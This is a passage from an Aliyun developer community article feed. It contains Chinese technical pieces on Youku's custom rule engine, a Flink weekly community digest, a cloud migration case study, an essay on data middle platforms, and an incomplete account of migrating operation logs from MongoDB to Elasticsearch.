      上图中,rules 即人工设置的规则文件,facts 为业务参数,inference engine 即推理引擎,即 做具体的规则匹配运算。
      使用 drools 步骤:
      1)准备规则文件,Drools 支持四种规则描述文件,分别是:drl 文件、xls 文件、brl 文 件和 dsl 文件,其中,常用的描述文件是 drl 文件和 xls 文件,而 xls 文件更易于维护,更直观,更为被业务人员所理解;
      2)系统启动时,使用 drools 的 sdk 加载规则文件并编译成字节码。这需要我们封装 drools的 jar 包,读取规则文件并完成编译动作。编译完成后规则文件将作为字节码存储在内存中;
      3)业务系统调用规则引擎进行规则匹配。调用规则引擎同样是使用 drools 的 jar 包提供的api。业务系统需要将当前场景下的业务参数传到规则引擎。

      4. 优酷播放控制系统规则引擎简介

      上面简述了规则引擎,以及使用广泛的 drools,此处没有做深入介绍,drools 是基于 rete算法实现的,这也是 drools 规则引擎的精髓所在,感兴趣的同学深入研究 drools 以及 rete 算法。
      在优酷播放控制场景下,我们并没有使用 drools 这样的开源规则引擎,而是自研了更加轻 量级的规则引擎。这是从开发的效率,运营的灵活性,以及实际场景出发来考虑。比如一组 drools 规则是解决一个场景下的规则计算问题,比如优惠券发放,产品积分计算等,都可以根据需要 编写一组规则来实现。而对于播放控制场景,由于各个视频版权方的要求等原因,每个视频的 播放控制策略都可能不同,即对于不同的视频来说,对应的播放策略都是不一样的。这就没办 法使用确定的多组 drools 规则来 cover 所有视频的播放控制策略。
      此外,播控自研规则引擎,在性能、可视化、开发运营效率方面都有很大优势。 下面会来介绍播放控制系统的规则引擎的实现思路。

      二、优酷播控规则引擎技术实现

      优酷播放控制系统是在点播和直播场景下对视频的投放做精细化的控制,包括在搜索、首页、频道、推荐、直播,等各个场景下,均需要依赖播放控制系统的投放许可。此外,播放控 制系统还会对版权保护做精细化控制,根据端的细分情况,对端上的 drm 版权保护(Digital Rights Management, 数字版权管理),清晰度进行控制。

      1. 技术挑战

      1)性能挑战
      播控系统调用规则引擎的 qps 为百万级别。所以对规则引擎的性能要求很高。在计算过程 中每多产生一些负荷,就会被无限的放大。系统要求接口 rt 在毫秒级别。
      2)投放的精细化控制 上文提到,优酷的各个场景都需要依赖播控的播放许可,由于版权方要求以及支持灵活的
      运营策略,播放控制系统需要支持维度高达数十种,并且在不断的扩充中。这需要规则引擎支持可灵活扩展的维度支持。

      2. 规则引擎技术实现

      自研规则引擎只关注规则匹配运算,与业务无关。即规则引擎会返回当前的参数与策略是 否匹配,业务系统根据规则引擎返回的匹配结果来判断匹配规则后的处理逻辑。架构如下:

      image.png

      1)相对于 drools 的规则存储在规则文件中,播控自研规则引擎的规则存储在数据库中,定 义规则表用于存储于业务无关的规则。添加策略的页面示例如下图所示,将原因分类即一个规 则维度,内容分类为开一个规则维度。落库时以 key-value 的形式存储在数据库。比如下图中的 原因分类,在 db 中的 key=reasonType,value=H。

      image.png

      上文中提到过,每个视频的投放规则都可能不同,所以需要针对各个视频配置专属的投放 规则。即定义视频和投放规则的关联表。用于存储视频和规则的关联关系。
      2)当系统启动时,规则引擎读取规则表中的全部规则,解析后存储在规则引擎持有的容器中。
      3)当业务系统接收到接口请求查询投放规则时,首先会根据视频查询所属于当前视频的规则。
      4)查询到所属视频的规则后,将规则 id 以及当前用户的环境参数传递给规则引擎进行规 则运算。规则引擎将计算规则是否匹配,返回结果后业务系统再封装具体的接口返回结果。

      3. 规则引擎计算流程

      播控规则引擎支持分层运算,即对一组规则,划分多个层次,每一层有一个优先级。这个 效果和 drools 的 salience 一样,drools 中的 salience 表示权重,权重越大优先级越高。划分好层 次之后,每一层会有多条规则,每一条规则中又包含多个维度。

      image.png

      假设图 4 作为一个规则,那么在数据库中的存储为:{"reasonType":"H", "contentCategory":" 电视剧;电影;综艺;少儿"}。规则引擎解析规则后存储在规则容器中的数据结构非常简单,即 Map>。

      image.png

      图 5 中的单个维度计算也就变的非常的简单,假设当前业务参数 contentCategory=综艺,判 断当前维度是否匹配,只需一行代码:

      image.png

      4. 自研规则引擎优势

      1)高性能
      从上面的介绍可以看到,规则的匹配只用到的set.contains 操作,过程中无需额外创建对象, 操作非常的高效。我们在使用这种计算方式之前,是采用了另一种计算方式,需要在计算过程 解析规则的expression(即规则表达式),这导致计算过程中会产生一些中间对象,对 gc 产生压 力。在文章开头有提到过,规则引擎的计算 qps 在百万级别,每次计算产生的 gc 压力会被放大 到影响系统性能。如下图,在使用新的计算方式后 gc 次数降低了一半之多,并且接口 rt 同样降低了有一半,效果非常明显。

      image.png
      image.png

      2)可视化
      相对于 drools 的规则是使用 drl 文件或者 excel 管理,播控的规则是可以界面可视化操作的(如图 4)。这对规则变更是高频操作的场景较为关键。
      3)规则可调试
      使用过 drools 的人应该有这个苦恼,drools 规则是编写好规则文件,然后将文件编译成 java 字节码存储在drools 容器中。在运行过程中无法调试,只能通过引擎的返回结果判断规则是否正确,当不符合预期时定位问题比较麻烦。播控自研的规则引擎如上所述直接 java 代码运行支 持 debug,有助于提高开发效率。

      三、总结

      我们在很多场景下需要规则引擎将规则运算和业务解耦,但规则引擎不是银弹。如果规则很简单,或者变化频次非常低那么使用 if-else 可能是最行之有效的实现方式,引入规则引擎反而增加维护成本。需要根据具体的业务形态选择是否使用规则引擎,以及要是什么样的规则引擎。

      ]]>
      Flink Weekly | 每周社区动态更新-20200520-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 大家好,本文为 Flink Weekly 的第十六期,由王雷整理,张成 Review。本期主要内容包括:近期社区开发进展、邮件问题答疑、Flink 最新社区动态及技术文章推荐等。

      Flink 开发进展

      1.Release

      ■ Piotr Nowojski 宣布 release-1.11 分支冻结。

      [1]http://apache-flink-mailing-list-archive.1008284.n3.nabble.com/ANNOUNECE-release-1-11-branch-cut-td41668.html

      ■ 1.10.1 已成功发版,发版日志见下链接。

      [2]https://issues.apache.org/jira/secure/ReleaseNote.jspa?projectId=12315522&version=12346891

      ■ 1.10.1 发版后,Seth Wiesman 发现 FLINK-16684 修改了 StreamingFileSink (@PublicEvolving) 的 API,导致 1.10.0 和 1.10.1 之间存在二进制不兼容问题。

      [3]http://apache-flink-mailing-list-archive.1008284.n3.nabble.com/Discuss-Breaking-API-Change-in-1-10-1-td41377.html

      2.Dev

      ■ 当用户使用 per-job 模式提交任务时,当前的 History Server 无法聚合的显示这些任务。Gyula 对 History Server 进行了修改,实现了一个可以聚合不同集群任务的看板。

      [4]http://apache-flink-mailing-list-archive.1008284.n3.nabble.com/DISCUSS-Rework-History-Server-into-Global-Dashboard-td41393.html

      3.FLIP

      ■ [Runtime] Aljoscha Krettek 宣布 FLIP-126 投票通过,FLIP-126 旨在对 Watermark Assigners 进行重构。

      [5]http://apache-flink-mailing-list-archive.1008284.n3.nabble.com/VOTE-FLIP-126-FLIP-126-Unify-and-separate-Watermark-Assigners-td41349.html

      4.Discuss

      ■ [Config] Stephan Ewen 发起了将 state.backend.fs.memory-threshold 的默认值从 1K 提升到 100K 的讨论,目的是减少小文件。大家对该改动可能导致 state 变大,从而导致 OOM 的问题进行了讨论。

      [6]http://apache-flink-mailing-list-archive.1008284.n3.nabble.com/DISCUSS-increase-quot-state-backend-fs-memory-threshold-quot-from-1K-to-100K-td41475.html

      ■ [Develop] 关于 @PublicEvolving 注解的 class 需要在相同的 minor 版本修复 bug 时提供 API 和 二进制兼容的投票正在进行。

      [7]http://apache-flink-mailing-list-archive.1008284.n3.nabble.com/VOTE-Guarantee-that-PublicEvolving-classes-are-API-and-binary-compatible-across-bug-fix-releases-x-y-td41543.html

      ■ [Doc] 关于构建一个 Flink 学习资料平台的讨论正在进行,详情见邮件。

      [8]http://apache-flink-mailing-list-archive.1008284.n3.nabble.com/DISCUSS-Add-a-material-web-page-under-quot-https-flink-apache-org-quot-td41298.html

      ■ [Doc] 当前的发布流程会出现 dist.apache.org 中的下载链接不稳定的问题,Chesnay Schepler 修改了发布指南,只有在完成发布后,才可以从 dist.apache.org 中移除老版本。

      [9]http://apache-flink-mailing-list-archive.1008284.n3.nabble.com/NOTICE-Deletion-of-older-releases-from-dist-apache-org-td41422.html

      5.other

      ■ [Security] Chesnay Schepler 发布了 CVE-2020-1960 安全漏洞。攻击者可借助特制请求利用该漏洞进行中间人攻击,入侵通过JMX与进程建立的连接,获取传递的数据。以下版本受到影响:1.1.0 to 1.1.5,1.2.0 to 1.2.1,1.3.0 to 1.3.3,1.4.0 to 1.4.2,1.5.0 to 1.5.6,1.6.0 to 1.6.4,1.7.0 to 1.7.2,1.8.0 to 1.8.3,1.9.0 to 1.9.2,1.10.0。修复方案见邮件。

      [10]http://apache-flink-mailing-list-archive.1008284.n3.nabble.com/CVE-2020-1960-Apache-Flink-JMX-information-disclosure-vulnerability-td41437.html

      ■ [CI] 当前对于 PR 端到端的测试任务使用的资源达到了 Flink 的 Azure Pipelines 账号的上限,Robert Metzger 不得不手动取消掉一些端到端的测试。Robert Metzger 正在积极寻找解决办法。

      [11]http://apache-flink-mailing-list-archive.1008284.n3.nabble.com/NOTICE-Azure-Pipelines-Status-td41455.html

      邮件问题答疑

      ■ [Debug] 李佳宸遇到了在集群关闭时,Pushgateway 仍然存有metrics数据的问题,杨纲给予了解答,当通过 yarn kill 的方式停掉任务时,Pushgateway 内存中缓存的指标不会被清理。

      [12]http://apache-flink.147419.n8.nabble.com/Prometheus-Pushgateway-Flink-td3041.html

      ■ [Runtime] 1101300123遇到了 AppendOnlyTopNFunction 报数组越界的问题,云邪确认是一个 bug,创建了issue FLINK-17625。

      [13]http://apache-flink.147419.n8.nabble.com/1-10-flinkSQL-row-number-top1-td3056.html

      ■ [Debug] Jeff 希望能够监控 task 级别的内存使用情况,由于运行在同一个 JVM,进程中的不同线程的内存开销分析代价会比较高,不适合实时计算场景,所以不支持 task 级别的内存监控。

      [14]http://apache-flink.147419.n8.nabble.com/task-td3075.html

      ■ [Stateful Function] Annemarie Burger 希望能在 Stateful Function 中使用窗口功能。Igal Shilman 告知当前 Stateful Function 不支持窗口功能,同时提供了 DelayedMessage 的变通方法。

      [15]http://apache-flink-user-mailing-list-archive.2336050.n4.nabble.com/Window-processing-in-Stateful-Functions-td34966.html

      ■ [Debug] Jacky Du 在 AWS EMR Debug 使用 JITWatch 报错,Xintong Song 指出,当在 flink-conf.yaml 配置 JITWatch 参数时不能使用引号。

      [16]http://apache-flink-user-mailing-list-archive.2336050.n4.nabble.com/Flink-Memory-analyze-on-AWS-EMR-td35036.html

      ■ [Runtime] Ken Krugler 希望自定义重启策略,Zhu Zhu 告知自 1.10 版本开始,RestartStrategy 被 RestartBackoffTimeStrategy 替代,RestartBackoffTimeStrategy 暂不支持自定义重启策略。

      [17]http://apache-flink-user-mailing-list-archive.2336050.n4.nabble.com/Flink-restart-strategy-on-specific-exception-td24665.html

      活动 / 博客文章 / 其他

      ■ Flink Forward Global 2020 暂定于10月19日 - 21日在线上举行,目前正在征集议题。

      [18]https://www.flink-forward.org/global-2020/call-for-presentations

      ■ Apache Flink 杭州站线上 Meetup 圆满结束,直播回放如下:

      [19]https://developer.aliyun.com/live/2772

      ■ Flink 1.10 细粒度资源管理解析

      [20]https://mp.weixin.qq.com/s/NZXtKlRNnWdWDNtU7cml2Q

      ■ Flink 与 Hive 的磨合期

      [21]https://mp.weixin.qq.com/s/TH3TXKebXJ0nAKUh8wfxUw

      ■ 如何用一套引擎搞定机器学习全流程?

      [22]https://mp.weixin.qq.com/s/c5bZy_v15FtT1oJGW0UAWQ

      2 分钟快速订阅 Flink 中文邮件列表

      Apache Flink 中文邮件列表订阅流程:

      1. 发送任意邮件到 user-zh-subscribe@flink.apache.org
      2. 收到官方确认邮件
      3. 回复该邮件 confirm 即可订阅

      订阅成功后将收到 Flink 官方的中文邮件列表的消息,您可以向 user-zh@flink.apache.org 发邮件提问也可以帮助别人解答问题,动动手测试一下!

      Flink Weekly 周报计划每周更新一期,内容涵盖邮件列表中用户问题的解答、社区开发和提议的进展、社区新闻以及其他活动、博客文章等,欢迎持续关注。

      Tips:点击「阅读原文」查看本期 weekly 详情,扩展阅读链接可直接跳转~

      作者介绍:

      王雷,小红书技术部基础平台开发工程师,目前主要在做基于 Flink 的实时计算平台开发。

      ]]>
      阿里云助力大型药企朗致集团迁移上云 数据库运维成本下降50%-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 5-6-3.gif

      本文转载自CSDN
      日前,阿里云携手用友帮助国内大型医药控股型集团公司朗致集团将核心ERP系统和核心数据库迁移上云,数据库直接成本下降20%,运维成本下降50%,同时提升了内外部协同效率,促进业务进一步的发展。

      此前,朗致集团本地化部署了用友NC系统,并且使用传统商业数据库。随着业务的高速发展,公司希望加速智能化和移动化的上云转型,同时充分利用云的优势,降低企业IT成本。
      image.png
      经过细致调研以及多方评估,朗致集团决定将其核心业务系统和数据库迁移到阿里云上。2020 年 1月,朗致集团正式启动上云进程。在用友与阿里云的共同推进下,历时3个月,成功将业务系统及数据库搬迁上云。

      由于采用了阿里云服务,朗致集团大幅降低了机房管理和运维成本;通过业务系统上云,实现企业内外部高效协同,快速响应市场需求;此外,通过实现业务系统的在线化,为公司未来的数字化、智能化战略落地奠定了坚实基础。

      其中,利用云数据库替代传统商业数据库,是本次上云工程的重要环节。传统数据库购买费用贵,后期维护和使用门槛高,应对创新业务不够灵活。

      使用阿里云的云数据库产品取代传统商业数据库后,朗致集团实现了根据业务发展节奏动态扩容数据库,数据库直接使用成本降低20%以上,运维成本降低约50%以上。

      朗致集团IT负责人表示:借助阿里云强大的云数据库运管能力,公司除了大幅度降低运维负担,更重要的是确保了数据安全——RDS秒级历史数据恢复能力,让企业免去了数据丢失的隐忧。

      据了解,朗致集团是用友和阿里云合作推动大型集团企业上云的标杆案例。2017年,阿里与用友达成全面战略合作以来,双方进行了产业生态的融合,共同推进企业数字化转型和商业创新。

      用友专注企业服务31年,目前中国最大的企业云服务和软件提供商,已累计服务566万家企业与公共组织数智化转型。目前,用友基于阿里云为企业提供丰富的云服务,加速各行各业大中型企业和小微企业上云。
      图片.gif

      ]]>
      息息相关的两大体系:数据中台与业务系统-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 前言:更多关于数智化转型、数据中台内容可扫码加群一起探讨
      668d7f5941782665ed1f41529db3eb677f4b9379.png
      阿里云数据中台官网 https://dp.alibaba.com/index


      (作者:品鉴)

      数据中台对外输出的表现形式多种多样,最普遍的做法是BI分析,其次是与业务中台形成一套有机的整体,对业务产生真正的价值。
      数据中台的BI呈现

      数据中台是以OneModel统一数据构建及管理方法论,OneID核心商业要素资产化为核心,实现全域链接、标签萃取、立体画像,数据应用服务整体解决方案。其数据服务理念根植于心,强调业务模式。

      商业智慧BI是数据分析结果的最重要的一个表现形式,其与数据中台有非常紧密的关系,使用数据中台的数据处理能力和技术对数据进行分析,大部分情况都需要通过数据可视化的方式实现,但数据可视化有漫长的开发链路、从采集、存储、加工到呈现各种形态需要很多前后端的开发人员介入,而商业化BI可以大大缩短这个交付和开发周期,实现商业价值,数据中台可以视为一系列的商业业务行为的数据收集与信息加工,通过技术与算法模型实现最终的能够对综合营运、策略的定量化分析数据,通过BI可以量化的实现对关键性的指标进行评估。是协助企业制定出最佳的策略与目标的决策性支持工具。
      image.png
      图:BI大屏范例

      因此数据中台与BI商业智能是相互相成,在现有体系下,BI市场呈现百花齐放的生态,国内有阿里云的QuickBI,帆软BI工具和永洪BI工具,国外已Tableau(最近被Salesforce收购),QlikView, PowerBI等工具。几乎在所有的数据中台中均需要引入BI工具:

      • 促进企业的决策流程:通过BI工具可以把数据快速的实现可视化,实现企业信息的集成和信息分析,把企业经营的和外部数据集成到一个蓝图中使得决策者能答复晶晶决策效率与改善决策质量。
      • 降低整体运营成本:BI工具能改善企业的信息获取能力,大幅度的降低IT人员在数据整理,撰写程序和制作报表的时间和人力投入,将数据交由业务人员来是实现。
      • 体统组织目标与行动:通过BI的数据分析和数据中台的技术支持,使得BI可以为从一线人员到业务决策人员共同使用,可以消除一线营销人员,业务人员决策人员信息需求与IT人员的认知差距,让一线业务人员能获得更直接的信息,全面改善企业运营,使得组织内的每个人目标一致。
        image.png

      图1:人群圈选应用范例

      商业智慧BI报表输出是数据中台最重要的表现形式,但不是唯一的表现形式,数据中台还有很多其他数据应用服务提供数据结果,通过人群圈选、企业参谋、企业数据App应用等可以方便实现企业对数据需求。

      数据中台与业务中台的协同

      业务中台和数据中台都是阿里巴巴首先推出中台理念的代表性产品,业务中台打破了传统的烟囱式的业务系统开发框架,”采用阿里巴巴的数据中台+业务中台双中台设计,采用企业级的业务协同,阿里内部25个事业部300+业务单元,把烟囱架构到统一微服务平台,从1000+系统到数十个商业能力敏捷创新,实际检验阿里在4周搭建盒马业务框架,实现了秒级数据智能,数据从采集、建构、展现只要2.5秒”, 行颠在2019年阿里云上海峰会的诠释非常精准的说明了数据中台与业务中台的关系。

      业务中台是阿里巴巴中间件团队的经过集团内多年久经沙场的使用经验沉淀下来由多款分布式基础组件产品作为核心构建的企业云计算解决方案,包括EDAS(企业级分布式应用服务 Enterprise Distributed Application Service), 分布式数据库DRDS,消息组件MQ,应用监控系统(ARMS),云服务总线(Cloud service Bus),分布式事物中间件。其充分利用阿里云 IaaS 资源,引入整套成熟的分布式计算框架(包括分布式服务化框架、统一的会话框架,链路 追踪和稳定性组件等),以应用为中心,帮助企业级客户轻松构建大型分布式应 用服务。体现到包括服务治理、基础监控、应用监控和应用诊断在内的一系列配套管理服务,极大的提升企业客户对大型分布式应用的管理能力利用弹性伸缩轻松应对各种流量高峰。
      image.png
      图2:业务中台产品矩阵

      业务中台的主战场是业务系统,满足业务系统开发需求,其核心是分布式系统和多中心分布式业务计算架构,满足的业务系统所要求的快速查询,业务交易。数据中台所面临的是海量数据计算问题,通过大数据计算实现对数据进行建模和分析,挖掘出有价值的信息,对业务中台有数据回刷和业务反辅,因此二者是相辅相成,是一个互补关系。

      在众多业务交集中,千人千面的推荐应该是双中台联合的最佳典范,数据中台通过采集系统收集用户的行为,交易,个人基本属性等数据通过离线分析对用户进行标签处理,个人推荐算法模型根据历史数据计算出用户所感兴趣的点,根据用户间的细小差异结合商品或内容给出推荐信息,在用户再次登录时候,业务中台根据数据中台的推荐信息结合用户实时行为数据给出千人千面的实时推荐,这一业务模式有力的推动了新零售的业务的发展。
      image.png
      图3:业务中台与数据中台

      商业智能报表是双中台合作另一个普遍结合点,数据中台擅长离线大数据计算,通过数据模型可以产生商业智能分析,对业务人员有商业决策的帮助,而业务系统往往有数据分析和报表呈现的要求,而这块会占用大量业务中台的计算能力从而影响正常的业务计算,因此二者结合既可以节省有限的计算资源又可以满足用户的商业智慧的要求。

      数据中台与传统业务相比较,更偏向数仓业务,是完全替代数仓系统的业务系统,但与传统数仓不同,数据中台可以很好的与传统的业务系统可以形成互辅互成的关系。

      数据中台通过在业务系统中数据中台可以通过数据回刷,应用嵌入,API数据服务方式实现对业务系统的补充。

      数据回刷类型:很多业务系统都会用到统计数据,需要根据统计数据做业务触发,比如会员的升降级业务会触发权益的影响,这些统计任务由数据中台定时计算无论从效率上还是逻辑处理上都要更优一些,通过计算后回刷业务系统数据库触发业务系统。

      应用内嵌型:商业智慧BI报表输出是数据中台一大产出物,通过OLAP计算效率更高、速度更快,而且对传统的业务系统的影响较小,传统的报表统计对业务系统的性能影响较大,如果报表统计需要追溯以月、年为计时间跨度计算会导致系统长时间高负荷运行影响业务订单的时效性,因此通过数据中台的OLAP离线计算方式以应用嵌入方式实现,比如阿里云很多业务采用数据中台BI实现统计报表功能,业务系统通过网页嵌入方式实现图表功能。

      数据服务:在互联网企业有很多离散的数据查询业务,有些数据服务需要数据中台完成,数据中台通过多个数据服务提供这些服务,有些以API方式提供,有些以主题服务方式,有些以SDK内嵌方式,比如oneID用户查询,个人标签查询、业务统计数据查询等。在阿里云数据构建与管理Dataphin平台中以oneservice模块方式实现数据服务。

      实时数字大屏:很多业务系统通过数字大屏实时反应业务现有状况和历史变化,通过实时流计算与业务系统相关联和OLAP的历史数据的统计实现业务中台与数据中台的完美结合,最典型的例子是阿里双十一的大屏。

      数据搜索和推荐:搜索业务是一个特别的服务,搜索服务会实时接入业务系统的数据,同时搜索会提供一些高度相似的内容推荐服务,数据中台在其中扮演这重要的角色, 通过离线计算和多业务驱动数据形成独特的商品和个人特质化的推荐,给用户以良好的体验,最典型的例子是电商行业的千人千面商品推荐和影视产品的推荐。

      在企业的IT服务中,数据中台弥补了业务系统的短板,形成了一套与业务合作机制,创新性的驱动业务流程和业务形态的变化:

      业务监测:新一代大数据设计之初一个重要方向是通过数据中台的全局性的统计和监测,叠加算法预测实时发现业务系统的问题,现有业界IDC自主管理和运营通过大数据技术采集硬件系统,业务系统,数据库等日志实现对业务系统的监测和预测。另一方面,很多企业通过决策分析系统全面掌握业务的发展动向,适时对业务做调整,决策分析系统主要是由数据中台来完成的。

      业务洞察:现代企业对企业的精细化运营提出更高的要求,对数据化运营的能力和效率提升的需求也日益迫切。因此需要对行业分析方法做沉淀和升级,实现以多视角,智能化业务判断,标准化运营和决策的要求,因此需要数据中台的统计和分析功能形成产品对业务系统形成业务洞察。

      业务优化:通过对业务流程的优化可以实现效益的倍增效益,比如智能补货一直是供应链优化的一大热点,也是著名的历史难题。在经济大环境形势不太好(创收难)商家供应链专业程度低(供应链成本高)经营渠道多链路复杂(协同难度大)的大背景下,新型的数据中台汇集各路商家和供应链数据,使得数据赋能,流程优化成为可能。

      业务数据变现:在当前数据安全规则下,通过智能推荐,流量经营可以增大业务盘子,实现对业务多样化的构想,实现业务的推动,而智能推荐和相关的标签均由数据中台产生。

      时至今日,数据中台与业务中台的关联越来越紧密,逐步会变成一个整体,给企业以业务永动机的作用。


      数据中台是企业数智化的新基建,阿里巴巴认为数据中台是集方法论、工具、组织于一体的,“快”、“准”、“全”、“统”、“通”的智能大数据体系。目前正通过阿里云数据中台解决方案对外输出,包括零售金融互联网政务等领域,其中核心产品有:

      官方站点:
      数据中台官网 https://dp.alibaba.com
      数据中台钉钉群二维码2.jpg


      ]]>
      从MongoDB迁移到Elasticsearch后,我们减少了80%的服务器-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 本文作者

      李猛,Elastic Stack 深度用户,通过 Elastic 工程师认证,2012年接触 Elasticsearch,对 Elastic Stack 技术栈开发、架构、运维等方面有深入体验,实践过多种大中型项目;为企业提供 Elastic Stack 咨询培训以及调优实施;多年实战经验,爱捣腾各种技术产品,擅长大数据,机器学习,系统架构。

      序言

      本文内容涉及到 MongoDB Elasticsearch 两大阵营,可能会引起口水之争,仅代表个人经验之谈,非阵营之说,围绕两个话题展开:
      • 为什么要从 MongoDB 迁移到 Elasticsearch?
      • 如何从 MongoDB 迁移到 Elasticsearch?

      现状背景

      MongoDB 本身定位与关系型数据库竞争,但工作中几乎没有见到哪个项目会将核心业务系统的数据放在上面,依然选择传统的关系型数据库。

      1.项目背景

      公司所在物流速运行业,业务系统复杂且庞大,用户操作者很多,每日有大量业务数据产生,同时业务数据会有很多次流转状态变化,为了便于记录追踪分析,系统操作日志记录项目应运而生,考虑到原有的日均数据量,操作日志数据基于 MongoDB 存储。
      操作日志记录系统需要记录两种数据,如下说明:

      1)变更主数据,什么人在什么时间在系统哪个模块做了什么操作,数据编号是什么,操作跟踪编号是什么。

      {
        "dataId": 1, 
        "traceId": "abc",        
        "moduleCode": "crm_01",           
        "operateTime": "2019-11-11 12:12:12", 
        "operationId": 100,
        "operationName": "张三",
        "departmentId": 1000,
        "departmentName": "客户部",
        "operationContent": "拜访客户。。。"
      }

      2)变更从数据,实际变更数据的变化前后,此类数据条数很多,一行数据多个字段变更就记录多条。

      [
        {
          "dataId": 1,
          "traceId": "abc",
          "moduleCode": "crm_01",
          "operateTime": "2019-11-11 12:12:12",
          "operationId": 100,
          "operationName": "张三",
          "departmentId": 1000,
          "departmentName": "客户部",
          "operationContent": "拜访客户",
          
          "beforeValue": "20",
          "afterValue": "30",
          "columnName": "customerType"
        },
        {
          "dataId": 1,
          "traceId": "abc",
          "moduleCode": "crm_01",
          "operateTime": "2019-11-11 12:12:12",
          "operationId": 100,
          "operationName": "张三",
          "departmentId": 1000,
          "departmentName": "客户部",
          "operationContent": "拜访客户",
          
          "beforeValue": "2019-11-02",
          "afterValue": "2019-11-10",
          "columnName": "lastVisitDate"
        }
      ]

      2.项目架构

      项目架构描述如下:

      1、业务系统新增或者编辑数据,产生操作日志记录发送到Kafka集群,基于dataid字段作为key;
      2、新增或编辑数据实际存储到MySQL数据库;
      3、canal集群订阅MySQL集群,按照业务系统模块配置监控的数据库与表;
      4、canal将监控到的变更业务数据发送到Kafka集群,基于dataid字段作为key;
      5、操作日志系统从Kafka获取主记录数据与从记录数据;
      6、操作日志系统写入数据到MongoDB,同时需要反查询。

      image.png


      图示:操作日志记录业务流程说明

      Mongo DB架构

      集群架构说明:

      1)服务器配置8c/32gb/500gb ssd;
      2)Router路由服务器部署了3个节点;
      3)Config配置服务器部署了3个节点;
      4)Shard分片服务器部署了9个节点;
      5)主操作记录设计3个分片;
      6)从操作记录设计3个分片。

      image.png

      问题说明

      MongoDB的信徒们可能怀疑我们没有使用好,或者我们的运维能力欠缺,或者认为我们有Elasticsearch的高手在。不是这样的,弃用MongoDB选择Elasticsearch其实并非技术偏见问题,而是我们的实际场景需求,原因如下:

      1.搜索查询

      1)MongoDB内部采用B-Tree作为索引结构,此索引基于最左优先原则,且必须保证查询顺序与索引字段的顺序一致才有效,这个即是优点,但在现在复杂业务场景也是致命的;

      2)业务系统查询操作日志记录会有很多过滤条件,且查询条件是任意组合的,现有MongoDB是不支持的,或者说所有关系型数据库都不支持,如果要支持,得创建好多组合的B+数索引,想法很不理智。

      3)同时主记录与从记录中有很多字符类的数据,这些数据查询即要支持精确查询,也要支持全文检索,这几个方面MongoDB功能很单一,性能也很糟糕,业务系统查询时经常超时,反倒是Elasticsearch非常合适。

      2.技术栈成熟度

      1)分片与副本实现问题,MongoDB集合数据在设计时是需要绑定到具体的机器实例的,哪些分片分布在哪些节点上,哪些副本分布在哪些节点上,这些都需要在配置集群时就要绑定死,跟传统的关系型数据库做分库分表本质上没有什么两样,其实现在很多数据产品的集群还是这种模式偏多,比如Redis-cluster,ClickHouse等。而Elasticsearc的集群与分片和副本没有直接的绑定关系,可以任意的平衡调整,且节点的性能配置也可以很容易差异化;

      2)操作日志数据量增加很快,单日写入超过千万条,不用多久,运维人员就需要对服务器进行扩容,且相对Elasticsearch复杂很多;

      3)MongoDB单集合数据量超过10亿条,此情况下即使简单条件查询性能也不理想,不如Elasticsearch倒排索引快;

      4)公司对于ES与MongoDB技术栈的经验积累不同,Elasticsearc在很多项目中运用,非常核心的项目也是大量运用,对于其技术与运维经验更丰富,而MongoDB如果除去核心业务场景,几乎找不到合适的切入口,实际没有人敢在核心项目中使用MongoDB,这就很尴尬。

      3. 文档格式相同

      MongoDB与Elasticsearch都属于文档型数据库 ,Bson类同与Json,_objectid与_id原理一样,所以主数据与从数据迁移到Elasticsearch平台,数据模型几乎无需变化。

      迁移方案

      异构数据系统迁移,主要围绕这两大块内容展开:

      1)上层应用系统迁移,原来是针对MongoDB的语法规则,现在要修改为面向Elasticsearch语法规则;
      2)下层MongoDB数据迁移到Elasticsearch。

      1. Elastic 容量评估

      原有MongoDB集群采用了15台服务器,其中9台是数据服务器,迁移到Elastic集群需要多少台服务器?我们采取简单推算办法,如假设生产环境上某个MongoDB集合的数据有10亿条数据, 我们先在测试环境上从MongoDB到ES上同步100万条数据,假设这100万条数据占用磁盘10G,那生产上环境上需要1个T磁盘空间,然后根据业务预期增加量扩展一定冗余。根据初步评估,Elastic集群设置3台服务器, 配置8c/16g内存/2T机械磁盘。服务器数量一下从15台缩减到3台,且配置也降低不少。

      2.Elastic 索引规则

      系统操作日志是时序性数据,写完整后基本上无需再次修改。操作日志记录查询主要是当月的居多,后续的历史性数据查询频率很低,根据评估,核心数据索引按月创建生成, 业务查询时候必须带上操作时间范围,后端根据时间反推需要查询哪些索引,Elastic-Api支持多索引匹配查询,完美利用Elastic的特性解决跨多个月份的查询合并。对于非核心数据索引,按年创建索引生成足以。

      image.png

      3.核心实现逻辑设计

      Elasticsearch不是关系型数据库,不具备事务的机制。操作日志系统的数据来源都是Kafka,消费数据是有顺序机制的,有2种场景特别注意,如下:

      • 主数据先到操作日志系统,从数据后到,从数据写的时候先拼凑主数据记录和Binlog字段数据;
      • 从数据先到操作日志系统,主数据后到,主数据更新从索引的相关的索引字段。

      Elasticsearch索引数据更新是近实时的刷新机制,数据提交后不能马上通过Search-Api查询到,主记录的数据如何更新到从记录呢?而且业务部门不规范的使用,多条主记录的dataId和tracId可能一样。

      由于主数据与从数据关联字段是dataId和traceId。如果主数据与从数据在同时达到操作日志系统,基于update_by_query 命令肯定失效不 准确, 主从数据也可能是多对多的关联关系,dataId 和traceId不能唯一决定一条记录。

      Elasticsearch其实也是一个NoSQL数据库, 可以做key-value缓存。这时新建一个Elastic索引作为中间缓存, 原则是主数据与从数据谁先到缓存谁,索引的 _id=(dataId+traceId) , 通过这个中间索引可以找到主数据记录的Id或者从记录Id, 索引数据模型多如下,detailId为从索引的_id的数组记录。

      {
        "dataId": 1,
        "traceId": "abc",
        "moduleCode": "crm_01",
        "operationId": 100,
        "operationName": "张三",
        "departmentId": 1000,
        "departmentName": "客户部",
        "operationContent": "拜访客户",
        "detailId": [
          1,
          2,
          3,
          4,
          5,
          6
        ]
      }

      前面我们讲过主记录和从记录都是一个Kafka的分区上,我们拉一批数据的时候,操作ES用的用到的核心API:

      #批量获取从索引的记录
      _mget 
      #批量插入
      bulk
      #批量删除中间临时索引
      _delete_by_query 

      迁移过程

      1.数据迁移

      选择DataX作为数据同步工具由以下几个因素:

      • 历史型数据。操作日志记录数据属于历史性的数据,记录产生之后几乎无需二次修改,等同于离线数据;
